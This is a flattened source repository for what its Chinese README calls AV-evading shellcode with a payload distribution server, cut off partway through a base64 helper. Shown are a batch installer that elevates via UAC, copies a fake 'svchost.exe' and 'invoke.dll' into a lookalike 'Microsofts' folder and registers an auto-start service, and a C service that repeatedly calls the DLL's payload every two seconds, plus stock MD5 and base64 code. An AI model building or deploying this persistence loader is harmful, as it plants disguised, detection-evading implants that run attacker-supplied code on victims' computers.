├── .gitignore ├── Install ├── install.bat └── svchost.c ├── README.md ├── client ├── Md5 │ ├── md5.cpp │ └── md5.h ├── b64 │ ├── base64.cpp │ └── base64.h ├── http │ ├── EdUrlParser.cpp │ └── EdUrlParser.h ├── payload.cpp ├── rc4 │ ├── ARC4.cpp │ └── ARC4.h ├── shellcode.vcxproj └── shellcode.vcxproj.filters ├── generate.py ├── server.py └── server.py.default /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | [Ll]ogs/ 33 | 34 | # Visual Studio 2015/2017 cache/options directory 35 | .vs/ 36 | # Uncomment if you have tasks that create the project's static files in wwwroot 37 | #wwwroot/ 38 | 39 | # Visual Studio 2017 auto generated files 40 | Generated\ Files/ 41 | 42 | # MSTest test Results 43 | [Tt]est[Rr]esult*/ 44 | [Bb]uild[Ll]og.* 45 | 46 | # NUnit 47 | *.VisualState.xml 48 | TestResult.xml 49 | nunit-*.xml 50 | 51 | # Build Results of an ATL Project 52 | [Dd]ebugPS/ 53 | [Rr]eleasePS/ 54 | dlldata.c 55 | 56 | # Benchmark Results 57 | BenchmarkDotNet.Artifacts/ 58 | 59 | # .NET Core 60 | project.lock.json 61 | project.fragment.lock.json 62 | artifacts/ 63 | 64 | # StyleCop 65 | StyleCopReport.xml 66 | 67 | # Files built by Visual Studio 68 | *_i.c 69 | *_p.c 70 | *_h.h 71 | *.ilk 72 | *.meta 73 | *.obj 74 | *.iobj 75 | *.pch 76 | *.pdb 77 | *.ipdb 78 | *.pgc 79 | *.pgd 80 | *.rsp 81 | *.sbr 82 | *.tlb 83 | *.tli 84 | *.tlh 85 | *.tmp 86 | *.tmp_proj 87 | *_wpftmp.csproj 88 | *.log 89 | *.vspscc 90 | *.vssscc 91 | .builds 92 | *.pidb 93 | *.svclog 94 | *.scc 95 | 96 | # Chutzpah Test files 97 | _Chutzpah* 98 | 99 | # Visual C++ cache files 100 | ipch/ 101 | *.aps 102 | *.ncb 103 | *.opendb 104 | *.opensdf 105 | *.sdf 106 | *.cachefile 107 | *.VC.db 108 | *.VC.VC.opendb 109 | 110 | # Visual Studio profiler 111 | *.psess 112 | *.vsp 113 | *.vspx 114 | *.sap 115 | 116 | # Visual Studio Trace Files 117 | *.e2e 118 | 119 | # TFS 2012 Local Workspace 120 | $tf/ 121 | 122 | # Guidance Automation Toolkit 123 | *.gpState 124 | 125 | # ReSharper is a .NET coding add-in 126 | _ReSharper*/ 127 | *.[Rr]e[Ss]harper 128 | *.DotSettings.user 129 | 130 | # TeamCity is a build add-in 131 | _TeamCity* 132 | 133 | # DotCover is a Code Coverage Tool 134 | *.dotCover 135 | 136 | # AxoCover is a Code Coverage Tool 137 | .axoCover/* 138 | !.axoCover/settings.json 139 | 140 | # Visual Studio code coverage results 141 | *.coverage 142 | *.coveragexml 143 | 144 | # NCrunch 145 | _NCrunch_* 146 | .*crunch*.local.xml 147 | nCrunchTemp_* 148 | 149 | # MightyMoose 150 | *.mm.* 151 | AutoTest.Net/ 152 | 153 | # Web workbench (sass) 154 | .sass-cache/ 155 | 156 | # Installshield output folder 157 | [Ee]xpress/ 158 | 159 | # DocProject is a documentation generator add-in 160 | DocProject/buildhelp/ 161 | DocProject/Help/*.HxT 162 | DocProject/Help/*.HxC 163 | DocProject/Help/*.hhc 164 | DocProject/Help/*.hhk 165 | DocProject/Help/*.hhp 166 | DocProject/Help/Html2 167 | DocProject/Help/html 168 | 169 | # Click-Once directory 170 | publish/ 171 | 172 | # Publish Web Output 173 | *.[Pp]ublish.xml 174 | *.azurePubxml 175 | # Note: Comment the next line if you want to checkin your web deploy settings, 176 | # but database connection strings (with potential passwords) will be unencrypted 177 | *.pubxml 178 | *.publishproj 179 | 180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 181 | # checkin your Azure Web App publish settings, but sensitive information contained 182 | # in these scripts will be unencrypted 183 | PublishScripts/ 184 | 185 | # NuGet Packages 186 | *.nupkg 187 | # NuGet Symbol Packages 188 | *.snupkg 189 | # The packages folder can be ignored because of Package Restore 190 | **/[Pp]ackages/* 191 | # except build/, which is used as an MSBuild target. 192 | !**/[Pp]ackages/build/ 193 | # Uncomment if necessary however generally it will be regenerated when needed 194 | #!**/[Pp]ackages/repositories.config 195 | # NuGet v3's project.json files produces more ignorable files 196 | *.nuget.props 197 | *.nuget.targets 198 | 199 | # Microsoft Azure Build Output 200 | csx/ 201 | *.build.csdef 202 | 203 | # Microsoft Azure Emulator 204 | ecf/ 205 | rcf/ 206 | 207 | # Windows Store app package directories and files 208 | AppPackages/ 209 | BundleArtifacts/ 210 | Package.StoreAssociation.xml 211 | _pkginfo.txt 212 | *.appx 213 | *.appxbundle 214 | *.appxupload 215 | 216 | # Visual Studio cache files 217 | # files ending in .cache can be ignored 218 | *.[Cc]ache 219 | # but keep track of directories ending in .cache 220 | !?*.[Cc]ache/ 221 | 222 | # Others 223 | ClientBin/ 224 | ~$* 225 | *~ 226 | *.dbmdl 227 | *.dbproj.schemaview 228 | *.jfm 229 | *.pfx 230 | *.publishsettings 231 | orleans.codegen.cs 232 | 233 | # Including strong name files can present a security risk 234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 235 | #*.snk 236 | 237 | # Since there are multiple workflows, uncomment next line to ignore bower_components 238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 239 | #bower_components/ 240 | 241 | # RIA/Silverlight projects 242 | Generated_Code/ 243 | 244 | # Backup & report files from converting an old project file 245 | # to a newer Visual Studio version. Backup files are not needed, 246 | # because we have git ;-) 247 | _UpgradeReport_Files/ 248 | Backup*/ 249 | UpgradeLog*.XML 250 | UpgradeLog*.htm 251 | ServiceFabricBackup/ 252 | *.rptproj.bak 253 | 254 | # SQL Server files 255 | *.mdf 256 | *.ldf 257 | *.ndf 258 | 259 | # Business Intelligence projects 260 | *.rdl.data 261 | *.bim.layout 262 | *.bim_*.settings 263 | *.rptproj.rsuser 264 | *- [Bb]ackup.rdl 265 | *- [Bb]ackup ([0-9]).rdl 266 | *- [Bb]ackup ([0-9][0-9]).rdl 267 | 268 | # Microsoft Fakes 269 | FakesAssemblies/ 270 | 271 | # GhostDoc plugin setting file 272 | *.GhostDoc.xml 273 | 274 | # Node.js Tools for Visual Studio 275 | .ntvs_analysis.dat 276 | node_modules/ 277 | 278 | # Visual Studio 6 build log 279 | *.plg 280 | 281 | # Visual Studio 6 workspace options file 282 | *.opt 283 | 284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 285 | *.vbw 286 | 287 | # Visual Studio LightSwitch build output 288 | **/*.HTMLClient/GeneratedArtifacts 289 | **/*.DesktopClient/GeneratedArtifacts 290 | **/*.DesktopClient/ModelManifest.xml 291 | **/*.Server/GeneratedArtifacts 292 | **/*.Server/ModelManifest.xml 293 | _Pvt_Extensions 294 | 295 | # Paket dependency manager 296 | .paket/paket.exe 297 | paket-files/ 298 | 299 | # FAKE - F# Make 300 | .fake/ 301 | 302 | # CodeRush personal settings 303 | .cr/personal 304 | 305 | # Python Tools for Visual Studio (PTVS) 306 | __pycache__/ 307 | *.pyc 308 | 309 | # Cake - Uncomment if you are using it 310 | # tools/** 311 | # !tools/packages.config 312 | 313 | # Tabs Studio 314 | *.tss 315 | 316 | # Telerik's JustMock configuration file 317 | *.jmconfig 318 | 319 | # BizTalk build output 320 | *.btp.cs 321 | *.btm.cs 322 | *.odx.cs 323 | *.xsd.cs 324 | 325 | # OpenCover UI analysis results 326 | OpenCover/ 327 | 328 | # Azure Stream Analytics local run output 329 | ASALocalRun/ 330 | 331 | # MSBuild Binary and Structured Log 332 | *.binlog 333 | 334 | # NVidia Nsight GPU debugger configuration file 335 | *.nvuser 336 | 337 | # MFractors (Xamarin productivity tool) working folder 338 | .mfractor/ 339 | 340 | # Local History for Visual Studio 341 | .localhistory/ 342 | 343 | # BeatPulse healthcheck temp database 344 | healthchecksdb 345 | 346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 347 | MigrationBackup/ 348 | 349 | # Ionide (cross platform F# VS Code tools) working folder 350 | .ionide/ 351 | -------------------------------------------------------------------------------- /Install/install.bat: -------------------------------------------------------------------------------- 1 | :::::::::::::::::::::::::::::::::::::::::::: 2 | :: Elevate.cmd - Version 2 3 | :: Automatically check & get admin rights 4 | :::::::::::::::::::::::::::::::::::::::::::: 5 | @echo off 6 | CLS 7 | ECHO. 8 | ECHO ============================= 9 | ECHO Running Admin shell 10 | ECHO ============================= 11 | 12 | :init 13 | setlocal DisableDelayedExpansion 14 | set "batchPath=%~0" 15 | for %%k in (%0) do set batchName=%%~nk 16 | set "vbsGetPrivileges=%temp%\OEgetPriv_%batchName%.vbs" 17 | setlocal EnableDelayedExpansion 18 | 19 | :checkPrivileges 20 | NET FILE 1>NUL 2>NUL 21 | if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ) 22 | 23 | :getPrivileges 24 | if '%1'=='ELEV' (echo ELEV & shift /1 & goto gotPrivileges) 25 | ECHO. 26 | ECHO ************************************** 27 | ECHO Invoking UAC for Privilege Escalation 28 | ECHO ************************************** 29 | 30 | ECHO Set UAC = CreateObject^("Shell.Application"^) > "%vbsGetPrivileges%" 31 | ECHO args = "ELEV " >> "%vbsGetPrivileges%" 32 | ECHO For Each strArg in WScript.Arguments >> "%vbsGetPrivileges%" 33 | ECHO args = args ^& strArg ^& " " >> "%vbsGetPrivileges%" 34 | ECHO Next >> "%vbsGetPrivileges%" 35 | ECHO UAC.ShellExecute "!batchPath!", args, "", "runas", 1 >> "%vbsGetPrivileges%" 36 | "%SystemRoot%\System32\WScript.exe" "%vbsGetPrivileges%" %* 37 | exit /B 38 | 39 | :gotPrivileges 40 | setlocal & pushd . 41 | cd /d %~dp0 42 | if '%1'=='ELEV' (del "%vbsGetPrivileges%" 1>nul 2>nul & shift /1) 43 | 44 | :::::::::::::::::::::::::::: 45 | ::START 46 | :::::::::::::::::::::::::::: 47 | md "%ProgramFiles%\Microsofts" 48 | copy /y svchost.exe "%ProgramFiles%\Microsofts\svchost.exe" 49 | copy /y invoke.dll "%ProgramFiles%\Microsofts\invoke.dll" 50 | sc create MessageManager binPath= "%ProgramFiles%\Microsofts\svchost.exe" start= auto 51 | sc start MessageManager -------------------------------------------------------------------------------- /Install/svchost.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | 5 | void WINAPI BDHandler(DWORD dwControl); 6 | void WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv); 7 | 8 | typedef int(*ShellCode) (); 9 | 10 | //HMODULE Advapi32 = LoadLibrary("Advapi32.dll"); 11 | 12 | SERVICE_STATUS ServiceStatus; 13 | SERVICE_STATUS_HANDLE ServiceStatusHandle; 14 | char ServiceName[] = "MessageManager"; 15 | 16 | void WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv) { 17 | //FARPROC fpFun0 = GetProcAddress(Advapi32, "RegisterServiceCtrlHandlerA"); 18 | //RegisterServiceCtrlHandlerA_ RegisterServiceCtrlHandler = (RegisterServiceCtrlHandlerA_)*fpFun0; 19 | if (!(ServiceStatusHandle = RegisterServiceCtrlHandler((LPSTR)ServiceName, 20 | BDHandler))) return; 21 | ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; 22 | ServiceStatus.dwCurrentState = SERVICE_START_PENDING; 23 | ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP 24 | | SERVICE_ACCEPT_SHUTDOWN; 25 | ServiceStatus.dwServiceSpecificExitCode = 0; 26 | ServiceStatus.dwWin32ExitCode = 0; 27 | ServiceStatus.dwCheckPoint = 0; 28 | ServiceStatus.dwWaitHint = 0; 29 | //FARPROC fpFun1 = GetProcAddress(Advapi32, "SetServiceStatus"); 30 | //SetServiceStatus_ SetServiceStatus = (SetServiceStatus_)*fpFun1; 31 | 32 | SetServiceStatus(ServiceStatusHandle, &ServiceStatus); 33 | ServiceStatus.dwCurrentState = SERVICE_RUNNING; 34 | ServiceStatus.dwCheckPoint = 0; 35 | ServiceStatus.dwWaitHint = 0; 36 | SetServiceStatus(ServiceStatusHandle, &ServiceStatus); 37 | HMODULE hDllLib = LoadLibrary("invoke.dll"); 38 | FARPROC fpFun2 = GetProcAddress(hDllLib, "Invoke"); 39 | ShellCode GetVersionToHelp32 = (ShellCode)*fpFun2; 40 | 41 | while (1){ 42 | GetVersionToHelp32(); 43 | Sleep(2000); 44 | } 45 | 46 | 47 | 48 | 49 | 50 | } 51 | 52 | void WINAPI BDHandler(DWORD dwControl) 53 | { 54 | switch (dwControl) 55 | { 56 | case SERVICE_CONTROL_STOP: 57 | ServiceStatus.dwCurrentState = SERVICE_STOPPED; 58 | break; 59 | case SERVICE_CONTROL_SHUTDOWN: 60 | ServiceStatus.dwCurrentState = SERVICE_STOPPED; 61 | break; 62 | default: 63 | break; 64 | } 65 | } 66 | 67 | int main() 68 | { 69 | 70 | //FARPROC fpFun = GetProcAddress(Advapi32, "StartServiceCtrlDispatcherA"); 71 | //StartServiceCtrlDispatcherA_ StartServiceCtrlDispatcher = (StartServiceCtrlDispatcherA_)*fpFun; 72 | SERVICE_TABLE_ENTRY ServiceTable[2]; 73 | ServiceTable[0].lpServiceName = (LPSTR)ServiceName; 74 | ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; 75 | ServiceTable[1].lpServiceName = NULL; 76 | ServiceTable[1].lpServiceProc = NULL; 77 | StartServiceCtrlDispatcher(ServiceTable); 78 | 79 | return 0; 80 | } 81 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # shellcode 2 | 我的免杀shellcode 3 | 4 | Blog: https://9bie.org 5 | 6 | 原理: https://9bie.org/index.php/archives/531/ 7 | 8 | ## 2020/11/23 更新 9 | 10 | 使用 [httpLIB](https://github.com/yhirose/cpp-httplib) 重构了请求方法,不会再造成socket管道残留的问题,并且支持https 11 | 12 | # Server.py 13 | 14 | payload分发服务器,可以动态修改payload 15 | 下次服务端请求时才会调用 16 | 17 | # Client 18 | 19 | 本体,可以直接编译运行和分为dll运行,编译后dll入口点为dll 20 | 21 | 请把文件内target修改为Server.py的访问地址,记住不要带其他url 22 | 23 | # Install 24 | 25 | 自带一个默认安装方式 26 | 27 | 使用gcc编译后,请把client编译成dll后改名为invoke.dll,确保三个文件 28 | 29 | - svchost.exe 30 | - install.bat 31 | - invoke.dll 32 | 33 | 三个文件在同一目录,使用管理员权限运行install.bat之后,就会安装一个服务 34 | 35 | 或者自行使用其他方式安装 -------------------------------------------------------------------------------- /client/Md5/md5.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * @file md5.cpp 3 | * @The implement of md5. 4 | * @author Jiewei Wei 5 | * @mail weijieweijerry@163.com 6 | * @github https://github.com/JieweiWei 7 | * @data Oct 19 2014 8 | * 9 | */ 10 | 11 | #include "md5.h" 12 | 13 | /* Define the static member of MD5. */ 14 | const byte MD5_::PADDING[64] = { 0x80 }; 15 | const char MD5_::HEX_NUMBERS[16] = { 16 | '0', '1', '2', '3', 17 | '4', '5', '6', '7', 18 | '8', '9', 'a', 'b', 19 | 'c', 'd', 'e', 'f' 20 | }; 21 | 22 | /** 23 | * @Construct a MD5 object with a string. 24 | * 25 | * @param {message} the message will be transformed. 26 | * 27 | */ 28 | MD5_::MD5_(const string& message) { 29 | finished = false; 30 | /* Reset number of bits. */ 31 | count[0] = count[1] = 0; 32 | /* Initialization constants. */ 33 | state[0] = 0x67452301; 34 | state[1] = 0xefcdab89; 35 | state[2] = 0x98badcfe; 36 | state[3] = 0x10325476; 37 | 38 | /* Initialization the object according to message. */ 39 | init((const byte*)message.c_str(), message.length()); 40 | } 41 | 42 | /** 43 | * @Generate md5 digest. 44 | * 45 | * @return the message-digest. 46 | * 47 | */ 48 | const byte* MD5_::getDigest() { 49 | if (!finished) { 50 | finished = true; 51 | 52 | byte bits[8]; 53 | bit32 oldState[4]; 54 | bit32 oldCount[2]; 55 | bit32 index, padLen; 56 | 57 | /* Save current state and count. */ 58 | memcpy(oldState, state, 16); 59 | memcpy(oldCount, count, 8); 60 | 61 | /* Save number of bits */ 62 | encode(count, bits, 8); 63 | 64 | /* Pad out to 56 mod 64. */ 65 | index = (bit32)((count[0] >> 3) & 0x3f); 66 | padLen = (index < 56) ? (56 - index) : (120 - index); 67 | init(PADDING, padLen); 68 | 69 | /* Append length (before padding) */ 70 | init(bits, 8); 71 | 72 | /* Store state in digest */ 73 | encode(state, digest, 16); 74 | 75 | /* Restore current state and count. */ 76 | memcpy(state, oldState, 16); 77 | memcpy(count, oldCount, 8); 78 | } 79 | return digest; 80 | } 81 | 82 | /** 83 | * @Initialization the md5 object, processing another message block, 84 | * and updating the context. 85 | * 86 | * @param {input} the input message. 87 | * 88 | * @param {len} the number btye of message. 89 | * 90 | */ 91 | void MD5_::init(const byte* input, size_t len) { 92 | 93 | bit32 i, index, partLen; 94 | 95 | finished = false; 96 | 97 | /* Compute number of bytes mod 64 */ 98 | index = (bit32)((count[0] >> 3) & 0x3f); 99 | 100 | /* update number of bits */ 101 | if ((count[0] += ((bit32)len << 3)) < ((bit32)len << 3)) { 102 | ++count[1]; 103 | } 104 | count[1] += ((bit32)len >> 29); 105 | 106 | partLen = 64 - index; 107 | 108 | /* transform as many times as possible. */ 109 | if (len >= partLen) { 110 | 111 | memcpy(&buffer[index], input, partLen); 112 | transform(buffer); 113 | 114 | for (i = partLen; i + 63 < len; i += 64) { 115 | transform(&input[i]); 116 | } 117 | index = 0; 118 | 119 | } 120 | else { 121 | i = 0; 122 | } 123 | 124 | /* Buffer remaining input */ 125 | memcpy(&buffer[index], &input[i], len - i); 126 | } 127 | 128 | /** 129 | * @MD5 basic transformation. Transforms state based on block. 130 | * 131 | * @param {block} the message block. 132 | */ 133 | void MD5_::transform(const byte block[64]) { 134 | 135 | bit32 a = state[0], b = state[1], c = state[2], d = state[3], x[16]; 136 | 137 | decode(block, x, 64); 138 | 139 | /* Round 1 */ 140 | FF(a, b, c, d, x[0], s11, 0xd76aa478); 141 | FF(d, a, b, c, x[1], s12, 0xe8c7b756); 142 | FF(c, d, a, b, x[2], s13, 0x242070db); 143 | FF(b, c, d, a, x[3], s14, 0xc1bdceee); 144 | FF(a, b, c, d, x[4], s11, 0xf57c0faf); 145 | FF(d, a, b, c, x[5], s12, 0x4787c62a); 146 | FF(c, d, a, b, x[6], s13, 0xa8304613); 147 | FF(b, c, d, a, x[7], s14, 0xfd469501); 148 | FF(a, b, c, d, x[8], s11, 0x698098d8); 149 | FF(d, a, b, c, x[9], s12, 0x8b44f7af); 150 | FF(c, d, a, b, x[10], s13, 0xffff5bb1); 151 | FF(b, c, d, a, x[11], s14, 0x895cd7be); 152 | FF(a, b, c, d, x[12], s11, 0x6b901122); 153 | FF(d, a, b, c, x[13], s12, 0xfd987193); 154 | FF(c, d, a, b, x[14], s13, 0xa679438e); 155 | FF(b, c, d, a, x[15], s14, 0x49b40821); 156 | 157 | /* Round 2 */ 158 | GG(a, b, c, d, x[1], s21, 0xf61e2562); 159 | GG(d, a, b, c, x[6], s22, 0xc040b340); 160 | GG(c, d, a, b, x[11], s23, 0x265e5a51); 161 | GG(b, c, d, a, x[0], s24, 0xe9b6c7aa); 162 | GG(a, b, c, d, x[5], s21, 0xd62f105d); 163 | GG(d, a, b, c, x[10], s22, 0x2441453); 164 | GG(c, d, a, b, x[15], s23, 0xd8a1e681); 165 | GG(b, c, d, a, x[4], s24, 0xe7d3fbc8); 166 | GG(a, b, c, d, x[9], s21, 0x21e1cde6); 167 | GG(d, a, b, c, x[14], s22, 0xc33707d6); 168 | GG(c, d, a, b, x[3], s23, 0xf4d50d87); 169 | GG(b, c, d, a, x[8], s24, 0x455a14ed); 170 | GG(a, b, c, d, x[13], s21, 0xa9e3e905); 171 | GG(d, a, b, c, x[2], s22, 0xfcefa3f8); 172 | GG(c, d, a, b, x[7], s23, 0x676f02d9); 173 | GG(b, c, d, a, x[12], s24, 0x8d2a4c8a); 174 | 175 | /* Round 3 */ 176 | HH(a, b, c, d, x[5], s31, 0xfffa3942); 177 | HH(d, a, b, c, x[8], s32, 0x8771f681); 178 | HH(c, d, a, b, x[11], s33, 0x6d9d6122); 179 | HH(b, c, d, a, x[14], s34, 0xfde5380c); 180 | HH(a, b, c, d, x[1], s31, 0xa4beea44); 181 | HH(d, a, b, c, x[4], s32, 0x4bdecfa9); 182 | HH(c, d, a, b, x[7], s33, 0xf6bb4b60); 183 | HH(b, c, d, a, x[10], s34, 0xbebfbc70); 184 | HH(a, b, c, d, x[13], s31, 0x289b7ec6); 185 | HH(d, a, b, c, x[0], s32, 0xeaa127fa); 186 | HH(c, d, a, b, x[3], s33, 0xd4ef3085); 187 | HH(b, c, d, a, x[6], s34, 0x4881d05); 188 | HH(a, b, c, d, x[9], s31, 0xd9d4d039); 189 | HH(d, a, b, c, x[12], s32, 0xe6db99e5); 190 | HH(c, d, a, b, x[15], s33, 0x1fa27cf8); 191 | HH(b, c, d, a, x[2], s34, 0xc4ac5665); 192 | 193 | /* Round 4 */ 194 | II(a, b, c, d, x[0], s41, 0xf4292244); 195 | II(d, a, b, c, x[7], s42, 0x432aff97); 196 | II(c, d, a, b, x[14], s43, 0xab9423a7); 197 | II(b, c, d, a, x[5], s44, 0xfc93a039); 198 | II(a, b, c, d, x[12], s41, 0x655b59c3); 199 | II(d, a, b, c, x[3], s42, 0x8f0ccc92); 200 | II(c, d, a, b, x[10], s43, 0xffeff47d); 201 | II(b, c, d, a, x[1], s44, 0x85845dd1); 202 | II(a, b, c, d, x[8], s41, 0x6fa87e4f); 203 | II(d, a, b, c, x[15], s42, 0xfe2ce6e0); 204 | II(c, d, a, b, x[6], s43, 0xa3014314); 205 | II(b, c, d, a, x[13], s44, 0x4e0811a1); 206 | II(a, b, c, d, x[4], s41, 0xf7537e82); 207 | II(d, a, b, c, x[11], s42, 0xbd3af235); 208 | II(c, d, a, b, x[2], s43, 0x2ad7d2bb); 209 | II(b, c, d, a, x[9], s44, 0xeb86d391); 210 | 211 | state[0] += a; 212 | state[1] += b; 213 | state[2] += c; 214 | state[3] += d; 215 | } 216 | 217 | /** 218 | * @Encodes input (unsigned long) into output (byte). 219 | * 220 | * @param {input} usigned long. 221 | * 222 | * @param {output} byte. 223 | * 224 | * @param {length} the length of input. 225 | * 226 | */ 227 | void MD5_::encode(const bit32* input, byte* output, size_t length) { 228 | 229 | for (size_t i = 0, j = 0; j < length; ++i, j += 4) { 230 | output[j] = (byte)(input[i] & 0xff); 231 | output[j + 1] = (byte)((input[i] >> 8) & 0xff); 232 | output[j + 2] = (byte)((input[i] >> 16) & 0xff); 233 | output[j + 3] = (byte)((input[i] >> 24) & 0xff); 234 | } 235 | } 236 | 237 | /** 238 | * @Decodes input (byte) into output (usigned long). 239 | * 240 | * @param {input} bytes. 241 | * 242 | * @param {output} unsigned long. 243 | * 244 | * @param {length} the length of input. 245 | * 246 | */ 247 | void MD5_::decode(const byte* input, bit32* output, size_t length) { 248 | for (size_t i = 0, j = 0; j < length; ++i, j += 4) { 249 | output[i] = ((bit32)input[j]) | (((bit32)input[j + 1]) << 8) | 250 | (((bit32)input[j + 2]) << 16) | (((bit32)input[j + 3]) << 24); 251 | } 252 | } 253 | 254 | 255 | /** 256 | * @Convert digest to string value. 257 | * 258 | * @return the hex string of digest. 259 | * 260 | */ 261 | string MD5_::toStr() { 262 | const byte* digest_ = getDigest(); 263 | string str; 264 | str.reserve(16 << 1); 265 | for (size_t i = 0; i < 16; ++i) { 266 | int t = digest_[i]; 267 | int a = t / 16; 268 | int b = t % 16; 269 | str.append(1, HEX_NUMBERS[a]); 270 | str.append(1, HEX_NUMBERS[b]); 271 | } 272 | return str; 273 | } -------------------------------------------------------------------------------- /client/Md5/md5.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file md5.h 3 | * @The header file of md5. 4 | * @author Jiewei Wei 5 | * @mail weijieweijerry@163.com 6 | * @github https://github.com/JieweiWei 7 | * @data Oct 19 2014 8 | * 9 | */ 10 | 11 | #ifndef MD5_H 12 | #define MD5_H 13 | 14 | /* Parameters of MD5. */ 15 | #define s11 7 16 | #define s12 12 17 | #define s13 17 18 | #define s14 22 19 | #define s21 5 20 | #define s22 9 21 | #define s23 14 22 | #define s24 20 23 | #define s31 4 24 | #define s32 11 25 | #define s33 16 26 | #define s34 23 27 | #define s41 6 28 | #define s42 10 29 | #define s43 15 30 | #define s44 21 31 | 32 | /** 33 | * @Basic MD5 functions. 34 | * 35 | * @param there bit32. 36 | * 37 | * @return one bit32. 38 | */ 39 | #define F(x, y, z) (((x) & (y)) | ((~x) & (z))) 40 | #define G(x, y, z) (((x) & (z)) | ((y) & (~z))) 41 | #define H(x, y, z) ((x) ^ (y) ^ (z)) 42 | #define I(x, y, z) ((y) ^ ((x) | (~z))) 43 | 44 | /** 45 | * @Rotate Left. 46 | * 47 | * @param {num} the raw number. 48 | * 49 | * @param {n} rotate left n. 50 | * 51 | * @return the number after rotated left. 52 | */ 53 | #define ROTATELEFT(num, n) (((num) << (n)) | ((num) >> (32-(n)))) 54 | 55 | /** 56 | * @Transformations for rounds 1, 2, 3, and 4. 57 | */ 58 | #define FF(a, b, c, d, x, s, ac) { \ 59 | (a) += F ((b), (c), (d)) + (x) + ac; \ 60 | (a) = ROTATELEFT ((a), (s)); \ 61 | (a) += (b); \ 62 | } 63 | #define GG(a, b, c, d, x, s, ac) { \ 64 | (a) += G ((b), (c), (d)) + (x) + ac; \ 65 | (a) = ROTATELEFT ((a), (s)); \ 66 | (a) += (b); \ 67 | } 68 | #define HH(a, b, c, d, x, s, ac) { \ 69 | (a) += H ((b), (c), (d)) + (x) + ac; \ 70 | (a) = ROTATELEFT ((a), (s)); \ 71 | (a) += (b); \ 72 | } 73 | #define II(a, b, c, d, x, s, ac) { \ 74 | (a) += I ((b), (c), (d)) + (x) + ac; \ 75 | (a) = ROTATELEFT ((a), (s)); \ 76 | (a) += (b); \ 77 | } 78 | 79 | #include 80 | #include 81 | 82 | using std::string; 83 | 84 | /* Define of btye.*/ 85 | typedef unsigned char byte; 86 | /* Define of byte. */ 87 | typedef unsigned int bit32; 88 | 89 | class MD5_ { 90 | public: 91 | /* Construct a MD5 object with a string. */ 92 | MD5_(const string& message); 93 | 94 | /* Generate md5 digest. */ 95 | const byte* getDigest(); 96 | 97 | /* Convert digest to string value */ 98 | string toStr(); 99 | 100 | private: 101 | /* Initialization the md5 object, processing another message block, 102 | * and updating the context.*/ 103 | void init(const byte* input, size_t len); 104 | 105 | /* MD5 basic transformation. Transforms state based on block. */ 106 | void transform(const byte block[64]); 107 | 108 | /* Encodes input (usigned long) into output (byte). */ 109 | void encode(const bit32* input, byte* output, size_t length); 110 | 111 | /* Decodes input (byte) into output (usigned long). */ 112 | void decode(const byte* input, bit32* output, size_t length); 113 | 114 | private: 115 | /* Flag for mark whether calculate finished. */ 116 | bool finished; 117 | 118 | /* state (ABCD). */ 119 | bit32 state[4]; 120 | 121 | /* number of bits, low-order word first. */ 122 | bit32 count[2]; 123 | 124 | /* input buffer. */ 125 | byte buffer[64]; 126 | 127 | /* message digest. */ 128 | byte digest[16]; 129 | 130 | /* padding for calculate. */ 131 | static const byte PADDING[64]; 132 | 133 | /* Hex numbers. */ 134 | static const char HEX_NUMBERS[16]; 135 | }; 136 | 137 | #endif // MD5_H -------------------------------------------------------------------------------- /client/b64/base64.cpp: -------------------------------------------------------------------------------- 1 | #include "base64.h" 2 | #include 3 | 4 | static const std::string base64_chars = 5 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 6 | "abcdefghijklmnopqrstuvwxyz" 7 | "0123456789+/"; 8 | 9 | 10 | static inline bool is_base64(unsigned char c) { 11 | return (isalnum(c) || (c == '+') || (c == '/')); 12 | } 13 | 14 | std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) { 15 | std::string ret; 16 | int i = 0; 17 | int j = 0; 18 | unsigned char char_array_3[3]; 19 | unsigned char char_array_4[4]; 20 | 21 | while (in_len--) { 22 | char_array_3[i++] = *(bytes_to_encode++); 23 | if (i == 3) { 24 | char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; 25 | char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); 26 | char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); 27 | char_array_4[3] = char_array_3[2] & 0x3f; 28 | 29 | for(i = 0; (i <4) ; i++) 30 | ret += base64_chars[char_array_4[i]]; 31 | i = 0; 32 | } 33 | } 34 | 35 | if (i) 36 | { 37 | for(j = i; j < 3; j++) 38 | char_array_3[j] = '\0'; 39 | 40 | char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; 41 | char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); 42 | char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + 